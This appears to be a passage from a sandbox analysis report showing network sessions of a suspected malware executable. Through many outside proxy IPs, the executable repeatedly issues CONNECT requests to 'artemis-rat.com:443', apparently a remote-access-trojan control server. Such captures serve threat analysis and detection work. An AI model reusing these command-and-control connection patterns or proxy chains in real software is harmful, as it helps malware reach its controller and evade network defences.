Mar 11, 2024 03:30:39.865458012 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.5	50700	174.138.94.117	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.711786032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:06.333091021 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:07.520730972 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:08.896740913 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:11.712693930 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:17.344930887 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:28.352719069 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:52.160672903 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.5	51550	45.11.95.165	6012	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.714649916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.5	51684	72.210.252.134	46164	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.723098993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.5	50484	103.180.240.44	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.729785919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.5	50643	91.142.222.84	12266	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.733150005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.5	51760	38.162.17.121	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.770910025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.203895092 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.5	51671	31.223.184.143	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.771337986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
